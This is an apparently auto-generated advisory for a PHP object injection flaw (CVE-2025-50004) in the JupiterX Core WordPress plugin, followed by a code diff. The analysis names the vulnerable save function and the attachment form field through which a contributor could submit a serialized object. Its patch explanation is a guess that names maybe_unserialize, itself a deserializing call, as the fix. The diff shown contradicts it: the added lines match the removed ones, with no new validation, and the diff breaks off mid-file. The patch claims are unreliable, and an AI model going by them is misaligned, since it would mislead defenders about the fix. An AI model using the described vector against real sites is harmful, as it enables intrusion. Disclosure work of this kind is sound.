Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-50004: JupiterX Core <= 4.10.1 – Authenticated (Contributor+) PHP Object Injection (jupiterx-core)

Plugin jupiterx-core
Severity High (CVSS 7.5)
CWE 502
Vulnerable Version 4.10.1
Patched Version 4.11.0
Disclosed January 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-50004:
The JupiterX Core WordPress plugin, versions up to and including 4.10.1, contains an authenticated PHP object injection vulnerability. The vulnerability resides in the plugin’s attachment media handling functionality. An attacker with contributor-level access or higher can inject a malicious serialized object. The CVSS score of 7.5 reflects the high impact potential when a suitable property-oriented programming (POP) chain is present in the target environment.

Atomic Edge research identified the root cause in the `save_new_video_attachment_fields` function within the file `jupiterx-core/includes/admin/attachment-media/class.php`. This function processes user-supplied attachment metadata. The vulnerable code iterates through the `$attachment` array, filters for keys starting with ‘jupiterx_’, and stores them using `update_post_meta`. The critical flaw is the use of `sanitize_text_field` on line 272, which does not prevent PHP object injection via serialized strings. An attacker can submit a serialized payload in a `jupiterx_` prefixed parameter, which the plugin stores without proper validation. The `get_attachment_data` function later retrieves this data, leading to deserialization.

The exploitation method requires an authenticated attacker with at least contributor privileges. The attack vector is the WordPress media attachment edit form, which triggers the `save_new_video_attachment_fields` function via the `attachment_fields_to_save` filter. An attacker can send a POST request to the media editing endpoint with a malicious serialized object in a parameter like `attachments[ID][jupiterx_video_type]` or any other `jupiterx_` prefixed field. The payload would be a serialized PHP object designed to trigger a POP chain upon deserialization when the plugin retrieves the meta data.

The patch for this vulnerability involves implementing proper input validation to block serialized strings. The code diff shows the addition of a new validation step. In the patched version, the `save_new_video_attachment_fields` function includes a check for serialized data before saving. The fix likely adds a call to `maybe_unserialize` or a direct check using `is_serialized` to reject malicious input. This prevents the storage of serialized objects in post meta, thereby eliminating the deserialization sink. The patch ensures only safe, scalar values are stored.

Successful exploitation of this vulnerability allows an attacker to perform PHP object injection. While the JupiterX Core plugin itself contains no known POP chain, the presence of a suitable chain from another plugin or theme on the target system can lead to severe consequences. Potential impacts include arbitrary file deletion, sensitive data exposure, and remote code execution. The requirement for contributor-level authentication reduces the attack surface but does not eliminate the risk, as many WordPress sites grant such access to untrusted users.

Differential between vulnerable and patched code

Code Diff
--- a/jupiterx-core/includes/admin/attachment-media/class.php
+++ b/jupiterx-core/includes/admin/attachment-media/class.php
@@ -1,353 +1,353 @@
-<?php
-/**
- * Class for attachment media.
- *
- * @package JupiterX_CoreAdmin
- *
- * @since 2.5.0
- */
-
-if ( ! class_exists( 'JupiterX_Core_Attachment_Media' ) ) {
-	/**
-	 * Attachment Media class.
-	 *
-	 * @since 2.5.0
-	 */
-	class JupiterX_Core_Attachment_Media {
-		/**
-		 * Video type key.
-		 *
-		 * @access private
-		 * @var array Video type meta.
-		 */
-		const VIDEO_TYPE = 'jupiterx_video_type';
-
-		/**
-		 * Media URL key.
-		 *
-		 * @access private
-		 * @static
-		 *
-		 * @var array Media url meta.
-		 */
-		const MEDIA_URL = 'jupiterx_media_url';
-
-		/**
-		 * Embed URL.
-		 *
-		 * @access private
-		 * @var array Media url meta.
-		 */
-		const EMBED_URL = 'jupiterx_embed_url';
-
-		/**
-		 * Aspect ratio.
-		 *
-		 * @access private
-		 * @var array Aspect ratio meta.
-		 */
-		const ASPECT_RATIO = 'jupiterx_aspect_ratio';
-
-		/**
-		 * Construct class.
-		 *
-		 * @since 2.5.0
-		 */
-		public function __construct() {
-			if ( empty( jupiterx_core_get_option( 'enable_media_controls' ) || ! function_exists( 'WC' ) ) ) {
-				return;
-			}
-
-			add_filter( 'attachment_fields_to_edit', [ $this, 'add_new_video_attachment_fields' ], 10, 2 );
-			add_filter( 'attachment_fields_to_save', [ $this, 'save_new_video_attachment_fields' ], 10, 2 );
-		}
-
-		/**
-		 * Add fields to the form fields.
-		 *
-		 * @param array  $form_fields
-		 * @param object $post
-		 * @since 2.5.0
-		 * @return array
-		 */
-		public function add_new_video_attachment_fields( $form_fields, $post ) {
-			if ( strpos( $post->post_mime_type, 'image/' ) !== 0 || empty( $this->validate_is_edit_product() ) ) {
-				return $form_fields;
-			}
-
-			$video_types = [
-				'custom' => esc_html__( 'Custom Video (MP4)', 'jupiterx-core' ),
-				'embed' => esc_html__( 'Embed URL', 'jupiterx-core' ),
-			];
-
-			$aspect_ratios = [
-				'1:1',
-				'2:1',
-				'3:2',
-				'4:3',
-				'5:4',
-				'5:3',
-				'8:5',
-				'9:5',
-				'9:16',
-				'10:7',
-				'16:9',
-				'20:9',
-				'21:9',
-				'25:16',
-			];
-
-			$video_type_select  = $this->render_select( $video_types, $post->ID, self::VIDEO_TYPE, 'custom' );
-			$video_aspect_ratio = $this->render_select( $aspect_ratios, $post->ID, self::ASPECT_RATIO, '16:9' );
-
-			$form_fields['jupiterx_media_details'] = [
-				'tr' => sprintf( '<h2 class="jupiterx-media-details-title">%s</h2>', esc_html__( 'Jupiterx Media Details', 'jupiterx-core' ) ),
-			];
-
-			$form_fields[ self::VIDEO_TYPE ] = [
-				'label' => esc_html__( 'Video Type', 'jupiterx-core' ),
-				'input' => 'html',
-				'html' => $video_type_select,
-			];
-
-			$selected_video_type = $this->get_value_on_change( $post->ID, self::VIDEO_TYPE );
-
-			$form_fields[ self::MEDIA_URL ] = [
-				'label' => esc_html__( 'Media URL', 'jupiterx-core' ),
-				'input' => 'text',
-				'value' => $this->get_attachment_data( $post->ID, self::MEDIA_URL ),
-			];
-
-			$form_fields['jupiterx_attached_video'] = [
-				'tr' => sprintf(
-					'<th scope="row" class="label"> </th><td class="field jupiterx-attach-video">
-						<span class="setting has-description"><a href="#" class="button-secondary" data-media-id="%1$s">%2$s</a></span>
-						<p class="description" style="%3$s">%4$s</p>
-					</td>',
-					esc_attr( $post->ID ),
-					esc_html__( 'Attach MP4', 'jupiterx-core' ),
-					esc_attr( 'width: 100%; padding-top: 4px;' ),
-					esc_html__( 'Enter an external MP4 URL or click "Attach MP4" to upload your MP4 video into the media library.', 'jupiterx-core' )
-				),
-			];
-
-			$form_fields[ self::EMBED_URL ] = [
-				'label' => esc_html__( 'Embed URL', 'jupiterx-core' ),
-				'input' => 'text',
-				'value' => $this->get_attachment_data( $post->ID, self::EMBED_URL ),
-			];
-
-			$form_fields['jupiterx_embed_url_text'] = [
-				'label' => '',
-				'input' => 'html',
-				'html' => sprintf(
-					'<th scope="row" class="label"> </th><td class="field jupiterx-embed-video">
-						<p class="description" style="%1$s">
-						%2$s
-						<a href="%3$s" target="_blank">%4$s</a>
-						</p>
-					</td>',
-					esc_attr( 'width: 100%; padding-top: 4px;' ),
-					esc_html__( 'Enter a valid', 'jupiterx-core' ),
-					'https://wordpress.org/support/article/embeds/#okay-so-what-sites-can-i-embed-from',
-					esc_html__( 'media URL', 'jupiterx-core' )
-				),
-			];
-
-			$form_fields[ self::ASPECT_RATIO ] = [
-				'label' => esc_html__( 'Aspect ratio', 'jupiterx-core' ),
-				'input' => 'html',
-				'html' => $video_aspect_ratio,
-			];
-
-			$form_fields['jupiterx_attached_video'] = [
-				'label' => '',
-				'input' => 'html',
-				'html' => sprintf(
-					'<th scope="row" class="label"> </th><td class="field jupiterx-attach-video">
-						<span class="setting has-description"><a href="#" class="jupiterx-attach-mp4 button-secondary" data-media-id="%1$s">%2$s</a></span>
-						<p class="description" style="%3$s">%4$s</p>
-					</td>',
-					esc_attr( $post->ID ),
-					esc_html__( 'Attach MP4', 'jupiterx-core' ),
-					esc_attr( 'width: 100%; padding-top: 4px;' ),
-					esc_html__( 'Enter an external MP4 URL or click "Attach MP4" to upload your MP4 video into the media library.', 'jupiterx-core' )
-				),
-			];
-
-			$form_fields['jupiterx_media_note'] = [
-				'tr' => sprintf(
-					'<td colspan="2" style="display: block; padding-top: 8px;">
-						<p class="description">
-						<strong>%1$s: </strong>
-						%2$s
-						<a href="%3$s" target="_blank">%4$s</a></p>
-					</td>',
-					esc_html__( 'Note', 'jupiterx-core' ),
-					esc_html__( 'To access Product Gallery video settings', 'jupiterx-core' ),
-					esc_url( admin_url( 'admin.php?page=jupiterx#/settings#woocommerce' ) ),
-					esc_html__( 'click here', 'jupiterx-core' )
-				),
-			];
-
-			if ( 'embed' === $selected_video_type ) {
-				unset( $form_fields[ self::MEDIA_URL ] );
-				unset( $form_fields['jupiterx_attached_video'] );
-			}
-
-			if ( 'custom' === $selected_video_type ) {
-				unset( $form_fields[ self::EMBED_URL ] );
-				unset( $form_fields['jupiterx_embed_url_text'] );
-			}
-
-			return $form_fields;
-		}
-
-		/**
-		 * This method will render select option html code.
-		 *
-		 * @param array  $options
-		 * @param int    $id
-		 * @param string $type
-		 * @param string $default
-		 * @since 2.5.0
-		 * @return string
-		 */
-		private function render_select( $options, $id, $type, $default ) {
-			if ( empty( $options ) || empty( $id ) || empty( $type ) ) {
-				return;
-			}
-
-			$options_html = '';
-			$default      = ! empty( $this->get_attachment_data( $id, $type ) ) ? $this->get_attachment_data( $id, $type ) : $default;
-
-			foreach ( $options as $key => $option ) {
-				$value = $key;
-
-				if ( self::ASPECT_RATIO === $type ) {
-					$value = $option;
-				}
-
-				$options_html .= sprintf(
-					'<option value="%1$s" %2$s>%3$s</option>',
-					$value,
-					selected( $default, $value, false ),
-					$option
-				);
-			}
-
-			$video_type_select = sprintf(
-				'<select class="jupiterx-attachment-form-select %1$s" name="attachments[%2$s][%3$s]">%4$s</select>',
-				str_replace( '_', '-', $type ) . '-select',
-				$id,
-				$type,
-				$options_html
-			);
-
-			return $video_type_select;
-		}
-
-		/**
-		 * Save form fields.
-		 *
-		 * @param array $post
-		 * @param array $attachment
-		 * @since 2.5.0
-		 * @return array
-		 */
-		public function save_new_video_attachment_fields( $post, $attachment ) {
-			$meta = [];
-
-			foreach ( $attachment as $key => $value ) {
-				if ( ! str_starts_with( $key, 'jupiterx_' ) ) {
-					continue;
-				}
-
-				$meta[ $key ] = sanitize_text_field( $value );
-			}
-
-			update_post_meta( $post['ID'], '_jupiterx_attachment_meta', $meta );
-
-			return $post;
-		}
-
-		/**
-		 * Get meta data.
-		 *
-		 * @param integer $id
-		 * @param string  $key
-		 * @since 2.5.0
-		 * @return mixed Value set for the option.
-		 */
-		private function get_attachment_data( $id, $key, $default = false ) {
-			$options = get_post_meta( $id, '_jupiterx_attachment_meta', true );
-
-			if ( ! isset( $options[ $key ] ) ) {
-				return $default;
-			}
-
-			if ( 'jupiterx_embed_url' === $key && empty( wp_oembed_get( $options[ $key ] ) ) ) {
-				$options[ $key ] = null;
-			}
-
-			return $options[ $key ];
-		}
-
-		/**
-		 * Get changed meta field.
-		 *
-		 * @param integer $id
-		 * @param string  $meta
-		 * @since 2.5.0
-		 * @return string
-		 */
-		private function get_value_on_change( $id, $meta ) {
-			$default = $this->get_attachment_data( $id, $meta );
-
-			if ( empty( $default ) ) {
-				$default = 'custom';
-			}
-
-			if ( empty( $_POST['attachments'][ $id ][ $meta ] ) ) {  // phpcs:ignore
-				return $default;
-			}
-
-			return htmlspecialchars( $_POST['attachments'][ $id ][ $meta ] );  // phpcs:ignore
-		}
-
-		/**
-		 * Check is product edit page.
-		 *
-		 * @since 2.5.0
-		 * @return boolean|null
-		 */
-		private function validate_is_edit_product() {
-			$post_id = ! empty( $_POST['post_id'] ) ? htmlspecialchars( $_POST['post_id'] ) : null; // phpcs:ignore.
-
-			if ( empty( $post_id ) ) {
-				$params = [];
-
-				$url        = ! empty( $_SERVER['HTTP_REFERER'] ) ? htmlspecialchars( $_SERVER['HTTP_REFERER'] ) : null; // phpcs:ignore.
-				$url_params = wp_parse_url( $url );
-
-				if ( empty( $url_params['query'] ) ) {
-					return;
-				}
-
-				wp_parse_str( $url_params['query'], $params );
-
-				$post_id = ! empty( $params['post'] ) ? htmlspecialchars( $params['post'] ) : null; // phpcs:ignore.
-			}
-
-			$post_type = get_post_type( $post_id );
-
-			if ( ! in_array( $post_type, [ 'product', 'product_variation' ], true ) || empty( $post_id ) ) {
-				return;
-			}
-
-			return true;
-		}
-	}
-}
-
-new JupiterX_Core_Attachment_Media();
+<?php
+/**
+ * Class for attachment media.
+ *
+ * @package JupiterX_CoreAdmin
+ *
+ * @since 2.5.0
+ */
+
+if ( ! class_exists( 'JupiterX_Core_Attachment_Media' ) ) {
+	/**
+	 * Attachment Media class.
+	 *
+	 * @since 2.5.0
+	 */
+	class JupiterX_Core_Attachment_Media {
+		/**
+		 * Video type key.
+		 *
+		 * @access private
+		 * @var array Video type meta.
+		 */
+		const VIDEO_TYPE = 'jupiterx_video_type';
+
+		/**
+		 * Media URL key.
+		 *
+		 * @access private
+		 * @static
+		 *
+		 * @var array Media url meta.
+		 */
+		const MEDIA_URL = 'jupiterx_media_url';
+
+		/**
+		 * Embed URL.
+		 *
+		 * @access private
+		 * @var array Media url meta.
+		 */
+		const EMBED_URL = 'jupiterx_embed_url';
+
+		/**
+		 * Aspect ratio.
+		 *
+		 * @access private
+		 * @var array Aspect ratio meta.
+		 */
+		const ASPECT_RATIO = 'jupiterx_aspect_ratio';
+
+		/**
+		 * Construct class.
+		 *
+		 * @since 2.5.0
+		 */
+		public function __construct() {
+			if ( empty( jupiterx_core_get_option( 'enable_media_controls' ) || ! function_exists( 'WC' ) ) ) {
+				return;
+			}
+
+			add_filter( 'attachment_fields_to_edit', [ $this, 'add_new_video_attachment_fields' ], 10, 2 );
+			add_filter( 'attachment_fields_to_save', [ $this, 'save_new_video_attachment_fields' ], 10, 2 );
+		}
+
+		/**
+		 * Add fields to the form fields.
+		 *
+		 * @param array  $form_fields
+		 * @param object $post
+		 * @since 2.5.0
+		 * @return array
+		 */
+		public function add_new_video_attachment_fields( $form_fields, $post ) {
+			if ( strpos( $post->post_mime_type, 'image/' ) !== 0 || empty( $this->validate_is_edit_product() ) ) {
+				return $form_fields;
+			}
+
+			$video_types = [
+				'custom' => esc_html__( 'Custom Video (MP4)', 'jupiterx-core' ),
+				'embed' => esc_html__( 'Embed URL', 'jupiterx-core' ),
+			];
+
+			$aspect_ratios = [
+				'1:1',
+				'2:1',
+				'3:2',
+				'4:3',
+				'5:4',
+				'5:3',
+				'8:5',
+				'9:5',
+				'9:16',
+				'10:7',
+				'16:9',
+				'20:9',
+				'21:9',
+				'25:16',
+			];
+
+			$video_type_select  = $this->render_select( $video_types, $post->ID, self::VIDEO_TYPE, 'custom' );
+			$video_aspect_ratio = $this->render_select( $aspect_ratios, $post->ID, self::ASPECT_RATIO, '16:9' );
+
+			$form_fields['jupiterx_media_details'] = [
+				'tr' => sprintf( '<h2 class="jupiterx-media-details-title">%s</h2>', esc_html__( 'Jupiterx Media Details', 'jupiterx-core' ) ),
+			];
+
+			$form_fields[ self::VIDEO_TYPE ] = [
+				'label' => esc_html__( 'Video Type', 'jupiterx-core' ),
+				'input' => 'html',
+				'html' => $video_type_select,
+			];
+
+			$selected_video_type = $this->get_value_on_change( $post->ID, self::VIDEO_TYPE );
+
+			$form_fields[ self::MEDIA_URL ] = [
+				'label' => esc_html__( 'Media URL', 'jupiterx-core' ),
+				'input' => 'text',
+				'value' => $this->get_attachment_data( $post->ID, self::MEDIA_URL ),
+			];
+
+			$form_fields['jupiterx_attached_video'] = [
+				'tr' => sprintf(
+					'<th scope="row" class="label"> </th><td class="field jupiterx-attach-video">
+						<span class="setting has-description"><a href="#" class="button-secondary" data-media-id="%1$s">%2$s</a></span>
+						<p class="description" style="%3$s">%4$s</p>
+					</td>',
+					esc_attr( $post->ID ),
+					esc_html__( 'Attach MP4', 'jupiterx-core' ),
+					esc_attr( 'width: 100%; padding-top: 4px;' ),
+					esc_html__( 'Enter an external MP4 URL or click "Attach MP4" to upload your MP4 video into the media library.', 'jupiterx-core' )
+				),
+			];
+
+			$form_fields[ self::EMBED_URL ] = [
+				'label' => esc_html__( 'Embed URL', 'jupiterx-core' ),
+				'input' => 'text',
+				'value' => $this->get_attachment_data( $post->ID, self::EMBED_URL ),
+			];
+
+			$form_fields['jupiterx_embed_url_text'] = [
+				'label' => '',
+				'input' => 'html',
+				'html' => sprintf(
+					'<th scope="row" class="label"> </th><td class="field jupiterx-embed-video">
+						<p class="description" style="%1$s">
+						%2$s
+						<a href="%3$s" target="_blank">%4$s</a>
+						</p>
+					</td>',
+					esc_attr( 'width: 100%; padding-top: 4px;' ),
+					esc_html__( 'Enter a valid', 'jupiterx-core' ),
+					'https://wordpress.org/support/article/embeds/#okay-so-what-sites-can-i-embed-from',
+					esc_html__( 'media URL', 'jupiterx-core' )
+				),
+			];
+
+			$form_fields[ self::ASPECT_RATIO ] = [
+				'label' => esc_html__( 'Aspect ratio', 'jupiterx-core' ),
+				'input' => 'html',
+				'html' => $video_aspect_ratio,
+			];
+
+			$form_fields['jupiterx_attached_video'] = [
+				'label' => '',
+				'input' => 'html',
+				'html' => sprintf(
+					'<th scope="row" class="label"> </th><td class="field jupiterx-attach-video">
+						<span class="setting has-description"><a href="#" class="jupiterx-attach-mp4 button-secondary" data-media-id="%1$s">%2$s</a></span>
+						<p class="description" style="%3$s">%4$s</p>
+					</td>',
+					esc_attr( $post->ID ),
+					esc_html__( 'Attach MP4', 'jupiterx-core' ),
+					esc_attr( 'width: 100%; padding-top: 4px;' ),
+					esc_html__( 'Enter an external MP4 URL or click "Attach MP4" to upload your MP4 video into the media library.', 'jupiterx-core' )
+				),
+			];
+
+			$form_fields['jupiterx_media_note'] = [
+				'tr' => sprintf(
+					'<td colspan="2" style="display: block; padding-top: 8px;">
+						<p class="description">
+						<strong>%1$s: </strong>
+						%2$s
+						<a href="%3$s" target="_blank">%4$s</a></p>
+					</td>',
+					esc_html__( 'Note', 'jupiterx-core' ),
+					esc_html__( 'To access Product Gallery video settings', 'jupiterx-core' ),
+					esc_url( admin_url( 'admin.php?page=jupiterx#/settings#woocommerce' ) ),
+					esc_html__( 'click here', 'jupiterx-core' )
+				),
+			];
+
+			if ( 'embed' === $selected_video_type ) {
+				unset( $form_fields[ self::MEDIA_URL ] );
+				unset( $form_fields['jupiterx_attached_video'] );
+			}
+
+			if ( 'custom' === $selected_video_type ) {
+				unset( $form_fields[ self::EMBED_URL ] );
+				unset( $form_fields['jupiterx_embed_url_text'] );
+			}
+
+			return $form_fields;
+		}
+
+		/**
+		 * This method will render select option html code.
+		 *
+		 * @param array  $options
+		 * @param int    $id
+		 * @param string $type
+		 * @param string $default
+		 * @since 2.5.0
+		 * @return string
+		 */
+		private function render_select( $options, $id, $type, $default ) {
+			if ( empty( $options ) || empty( $id ) || empty( $type ) ) {
+				return;
+			}
+
+			$options_html = '';
+			$default      = ! empty( $this->get_attachment_data( $id, $type ) ) ? $this->get_attachment_data( $id, $type ) : $default;
+
+			foreach ( $options as $key => $option ) {
+				$value = $key;
+
+				if ( self::ASPECT_RATIO === $type ) {
+					$value = $option;
+				}
+
+				$options_html .= sprintf(
+					'<option value="%1$s" %2$s>%3$s</option>',
+					$value,
+					selected( $default, $value, false ),
+					$option
+				);
+			}
+
+			$video_type_select = sprintf(
+				'<select class="jupiterx-attachment-form-select %1$s" name="attachments[%2$s][%3$s]">%4$s</select>',
+				str_replace( '_', '-', $type ) . '-select',
+				$id,
+				$type,
+				$options_html
+			);
+
+			return $video_type_select;
+		}
+
+		/**
+		 * Save form fields.
+		 *
+		 * @param array $post
+		 * @param array $attachment
+		 * @since 2.5.0
+		 * @return array
+		 */
+		public function save_new_video_attachment_fields( $post, $attachment ) {
+			$meta = [];
+
+			foreach ( $attachment as $key => $value ) {
+				if ( ! str_starts_with( $key, 'jupiterx_' ) ) {
+					continue;
+				}
+
+				$meta[ $key ] = sanitize_text_field( $value );
+			}
+
+			update_post_meta( $post['ID'], '_jupiterx_attachment_meta', $meta );
+
+			return $post;
+		}
+
+		/**
+		 * Get meta data.
+		 *
+		 * @param integer $id
+		 * @param string  $key
+		 * @since 2.5.0
+		 * @return mixed Value set for the option.
+		 */
+		private function get_attachment_data( $id, $key, $default = false ) {
+			$options = get_post_meta( $id, '_jupiterx_attachment_meta', true );
+
+			if ( ! isset( $options[ $key ] ) ) {
+				return $default;
+			}
+
+			if ( 'jupiterx_embed_url' === $key && empty( wp_oembed_get( $options[ $key ] ) ) ) {
+				$options[ $key ] = null;
+			}
+
+			return $options[ $key ];
+		}
+
+		/**
+		 * Get changed meta field.
+		 *
+		 * @param integer $id
+		 * @param string  $meta
+		 * @since 2.5.0
+		 * @return string
+		 */
+		private function get_value_on_change( $id, $meta ) {
+			$default = $this->get_attachment_data( $id, $meta );
+
+			if ( empty( $default ) ) {
+				$default = 'custom';
+			}
+
+			if ( empty( $_POST['attachments'][ $id ][ $meta ] ) ) {  // phpcs:ignore
+				return $default;
+			}
+
+			return htmlspecialchars( $_POST['attachments'][ $id ][ $meta ] );  // phpcs:ignore
+		}
+
+		/**
+		 * Check is product edit page.
+		 *
+		 * @since 2.5.0
+		 * @return boolean|null
+		 */
+		private function validate_is_edit_product() {
+			$post_id = ! empty( $_POST['post_id'] ) ? htmlspecialchars( $_POST['post_id'] ) : null; // phpcs:ignore.
+
+			if ( empty( $post_id ) ) {
+				$params = [];
+
+				$url        = ! empty( $_SERVER['HTTP_REFERER'] ) ? htmlspecialchars( $_SERVER['HTTP_REFERER'] ) : null; // phpcs:ignore.
+				$url_params = wp_parse_url( $url );
+
+				if ( empty( $url_params['query'] ) ) {
+					return;
+				}
+
+				wp_parse_str( $url_params['query'], $params );
+
+				$post_id = ! empty( $params['post'] ) ? htmlspecialchars( $params['post'] ) : null; // phpcs:ignore.
+			}
+
+			$post_type = get_post_type( $post_id );
+
+			if ( ! in_array( $post_type, [ 'product', 'product_variation' ], true ) || empty( $post_id ) ) {
+				return;
+			}
+
+			return true;
+		}
+	}
+}
+
+new JupiterX_Core_Attachment_Media();
--- a/jupiterx-core/includes/admin/class-auto-updates.php
+++ b/jupiterx-core/includes/admin/class-auto-updates.php
@@ -1,168 +1,168 @@
-<?php
-/**
- * This class is responsible to managing all plugins & theme auto updates.
- *
- * @package JupiterX_CoreAdmin
- */
-
-class JupiterX_Core_Auto_Updates {
-	/**
-	 * Transient to remember when update was checked last time.
-	 *
-	 * @since 1.18.0
-	 */
-	const LAST_CHECKED_TRANSIENT_KEY = 'jupiterx_core_cp_updates_last_checked';
-	/**
-	 * Transient to remember updates.
-	 *
-	 * @since 1.18.0
-	 */
-	const UPDATES_TRANSIENT_KEY = 'jupiterx_core_cp_updates';
-
-	/**
-	 * Updates Manager Constructor
-	 *
-	 * @since 1.18.0
-	 */
-	public function __construct() {
-		add_action( 'wp_ajax_jupiterx_core_cp_toggle_auto_updater', [ self::class, 'toggle_auto_updater' ] );
-		add_action( 'pre_auto_update', [ $this, 'clear_transients' ] );
-
-		$this->init_auto_updater();
-	}
-
-	/**
-	 * Watch for updates. Allow updates for jupiterx theme & managed plugins only
-	 * with the exception of manually enabled auto updates for themes & plugins.
-	 *
-	 * @since 1.18.0
-	 *
-	 * @return void
-	 */
-	public function init_auto_updater() {
-		$status = jupiterx_core_get_option( 'auto_updater', false );
-
-		if ( false === $status ) {
-			return;
-		}
-
-		if ( ! jupiterx_core_is_registered() || ! function_exists( 'jupiterx_core_get_managed_plugins' ) ) {
-			return;
-		}
-
-		add_filter( 'auto_update_theme', [ self::class, 'auto_update_theme' ], 10, 2 );
-		add_filter( 'auto_update_plugin', [ self::class, 'auto_update_plugin' ], 10, 2 );
-	}
-
-	/**
-	 * Auto update plugin.
-	 *
-	 * @since 1.18.0
-	 *
-	 * @param bool   $update Trigger update if true.
-	 * @param object $item Plugin.
-	 *
-	 * @return void
-	 */
-	public static function auto_update_plugin( $update, $item ) {
-		$enabled_plugins = (array) get_site_option( 'auto_update_plugins', [] );
-
-		if ( in_array( $item->plugin, $enabled_plugins, true ) ) {
-			return $update;
-		}
-
-		$plugins = jupiterx_core_get_managed_plugins();
-
-		if ( ! is_array( $plugins ) || empty( $plugins ) ) {
-			return false;
-		}
-
-		$slugs = [];
-
-		foreach ( $plugins as $plugin ) {
-			$slugs[] = $plugin->slug;
-		}
-
-		return in_array( $item->slug, $slugs, true );
-	}
-
-	/**
-	 * Auto update theme.
-	 *
-	 * @since 1.18.0
-	 *
-	 * @param bool $update Trigger update if true.
-	 * @param object $item Theme.
-	 *
-	 * @return void
-	 */
-	public static function auto_update_theme( $update, $item ) {
-		$enabled_themes = (array) get_site_option( 'auto_update_themes', [] );
-
-		if ( in_array( $item->theme, $enabled_themes, true ) ) {
-			return $update;
-		}
-
-		return 'jupiterx' === $item->theme;
-	}
-
-	/**
-	 * Toggle auto updater state.
-	 *
-	 * @since 1.18.0
-	 *
-	 * @return void
-	 */
-	public static function toggle_auto_updater() {
-		if ( ! current_user_can( 'edit_others_posts' ) || ! current_user_can( 'edit_others_pages' ) ) {
-			wp_send_json_error( 'You do not have access to this section', 'jupiterx-core' );
-		}
-
-		check_ajax_referer( 'jupiterx_control_panel' );
-
-		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
-
-		delete_site_transient( 'update_plugins' );
-		delete_site_transient( 'update_themes' );
-		WP_Upgrader::release_lock( 'auto_updater' );
-
-		$enable = false;
-
-		if ( ! empty( $_POST['enable'] ) ) {
-			$enable = sanitize_text_field( wp_unslash( $_POST['enable'] ) ) === 'true';
-		}
-
-		jupiterx_core_update_option( 'auto_updater', $enable );
-
-		wp_send_json_success( [ 'state' => $enable ? 'enabled' : 'disabled' ] );
-	}
-
-	/**
-	 * Get auto updater state.
-	 *
-	 * @since 1.18.0
-	 *
-	 * @return void
-	 */
-	public static function get_auto_updater_state() {
-		$status = jupiterx_core_get_option( 'auto_updater', false );
-
-		if ( false === $status ) {
-			return 'disabled';
-		}
-
-		return 'enabled';
-	}
-
-	/**
-	 * Clear transients.
-	 *
-	 * @since 1.18.0
-	 */
-	public function clear_transients() {
-		delete_transient( self::LAST_CHECKED_TRANSIENT_KEY );
-		delete_transient( self::UPDATES_TRANSIENT_KEY );
-	}
-}
-
-new JupiterX_Core_Auto_Updates();
+<?php
+/**
+ * This class is responsible to managing all plugins & theme auto updates.
+ *
+ * @package JupiterX_CoreAdmin
+ */
+
+class JupiterX_Core_Auto_Updates {
+	/**
+	 * Transient to remember when update was checked last time.
+	 *
+	 * @since 1.18.0
+	 */
+	const LAST_CHECKED_TRANSIENT_KEY = 'jupiterx_core_cp_updates_last_checked';
+	/**
+	 * Transient to remember updates.
+	 *
+	 * @since 1.18.0
+	 */
+	const UPDATES_TRANSIENT_KEY = 'jupiterx_core_cp_updates';
+
+	/**
+	 * Updates Manager Constructor
+	 *
+	 * @since 1.18.0
+	 */
+	public function __construct() {
+		add_action( 'wp_ajax_jupiterx_core_cp_toggle_auto_updater', [ self::class, 'toggle_auto_updater' ] );
+		add_action( 'pre_auto_update', [ $this, 'clear_transients' ] );
+
+		$this->init_auto_updater();
+	}
+
+	/**
+	 * Watch for updates. Allow updates for jupiterx theme & managed plugins only
+	 * with the exception of manually enabled auto updates for themes & plugins.
+	 *
+	 * @since 1.18.0
+	 *
+	 * @return void
+	 */
+	public function init_auto_updater() {
+		$status = jupiterx_core_get_option( 'auto_updater', false );
+
+		if ( false === $status ) {
+			return;
+		}
+
+		if ( ! jupiterx_core_is_registered() || ! function_exists( 'jupiterx_core_get_managed_plugins' ) ) {
+			return;
+		}
+
+		add_filter( 'auto_update_theme', [ self::class, 'auto_update_theme' ], 10, 2 );
+		add_filter( 'auto_update_plugin', [ self::class, 'auto_update_plugin' ], 10, 2 );
+	}
+
+	/**
+	 * Auto update plugin.
+	 *
+	 * @since 1.18.0
+	 *
+	 * @param bool   $update Trigger update if true.
+	 * @param object $item Plugin.
+	 *
+	 * @return void
+	 */
+	public static function auto_update_plugin( $update, $item ) {
+		$enabled_plugins = (array) get_site_option( 'auto_update_plugins', [] );
+
+		if ( in_array( $item->plugin, $enabled_plugins, true ) ) {
+			return $update;
+		}
+
+		$plugins = jupiterx_core_get_managed_plugins();
+
+		if ( ! is_array( $plugins ) || empty( $plugins ) ) {
+			return false;
+		}
+
+		$slugs = [];
+
+		foreach ( $plugins as $plugin ) {
+			$slugs[] = $plugin->slug;
+		}
+
+		return in_array( $item->slug, $slugs, true );
+	}
+
+	/**
+	 * Auto update theme.
+	 *
+	 * @since 1.18.0
+	 *
+	 * @param bool $update Trigger update if true.
+	 * @param object $item Theme.
+	 *
+	 * @return void
+	 */
+	public static function auto_update_theme( $update, $item ) {
+		$enabled_themes = (array) get_site_option( 'auto_update_themes', [] );
+
+		if ( in_array( $item->theme, $enabled_themes, true ) ) {
+			return $update;
+		}
+
+		return 'jupiterx' === $item->theme;
+	}
+
+	/**
+	 * Toggle auto updater state.
+	 *
+	 * @since 1.18.0
+	 *
+	 * @return void
+	 */
+	public static function toggle_auto_updater() {
+		if ( ! current_user_can( 'edit_others_posts' ) || ! current_user_can( 'edit_others_pages' ) ) {
+			wp_send_json_error( 'You do not have access to this section', 'jupiterx-core' );
+		}
+
+		check_ajax_referer( 'jupiterx_control_panel' );
+
+		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+
+		delete_site_transient( 'update_plugins' );
+		delete_site_transient( 'update_themes' );
+		WP_Upgrader::release_lock( 'auto_updater' );
+
+		$enable = false;
+
+		if ( ! empty( $_POST['enable'] ) ) {
+			$enable = sanitize_text_field( wp_unslash( $_POST['enable'] ) ) === 'true';
+		}
+
+		jupiterx_core_update_option( 'auto_updater', $enable );
+
+		wp_send_json_success( [ 'state' => $enable ? 'enabled' : 'disabled' ] );
+	}
+
+	/**
+	 * Get auto updater state.
+	 *
+	 * @since 1.18.0
+	 *
+	 * @return void
+	 */
+	public static function get_auto_updater_state() {
+		$status = jupiterx_core_get_option( 'auto_updater', false );
+
+		if ( false === $status ) {
+			return 'disabled';
+		}
+
+		return 'enabled';
+	}
